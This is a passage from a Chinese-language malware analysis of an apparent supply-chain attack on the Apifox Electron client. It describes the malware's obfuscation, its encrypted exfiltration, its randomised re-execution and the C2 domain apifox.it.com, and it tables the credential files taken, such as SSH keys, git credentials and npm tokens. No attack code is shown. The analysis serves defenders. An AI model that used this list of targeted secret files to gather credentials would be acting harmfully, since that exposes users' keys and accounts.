8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e14c4b82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FJ8Ev2iczlWG0NUibzu0E3czibFL5bZibicsLrdCBWVO0AnxGOsekkUFLAQ82qN4IyaJjW3VPse9rkU2EWCianGbpxMD3ibsetf2ht3ozQFGt7ZkJEU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">2.2 技术特征</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">技术点</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">框架利用</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">利用 Electron 框架未启用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sandbox</span></code><span leaf=""> 参数的缺陷，通过 Node.js API 执行系统命令</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">混淆层级</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">7层混淆：字符串数组旋转 + Base64/RC4 双层解密 + 代理函数 + 控制流扁平化 + 死代码注入 + 反调试陷阱</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">加密通信</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">内嵌 RSA-2048 私钥，使用 OAEP 填充加密敏感数据</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久化</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">setTimeout</span></code><p><span leaf=""> 在 30分钟 ~ 3小时 随机间隔重新执行</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 特征</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">域名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code><span leaf=""> 使用 Cloudflare CDN 隐藏真实 IP</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">2.3 被窃取的敏感信息</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">数据类型</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">路径/内容</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">风险等级</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">SSH 私钥</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.ssh/id_rsa</span></code><p><span leaf="">, </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.ssh/id_ed25519</span></code><span leaf=""> 等</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 极高</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Git 凭证</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.git-credentials</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 极高</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Shell 历史记录</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.bash_history</span></code><p><span leaf="">, </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.zsh_history</span></code></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟠 高</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">npm Token</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.npmrc</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟠 高</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">进程列表</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">系统进程信息</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟡 中</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">Apifox 账户</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">邮箱、姓名、访问令牌</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟡 中</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">机器指纹</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">MAC地址 + CPU型号 + 主机名 + 用户主目录 SHA-256</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟡 中</span></p></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">三、恶意域名分析</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3.1 域名欺骗性分析</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">攻击者使用的 C2 域名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code><span leaf=""> 具有高度欺骗性：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.it.com</span></code><span leaf=""> 是商业性质的二级域名服务，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">非意大利国别域名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.it</span></code></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 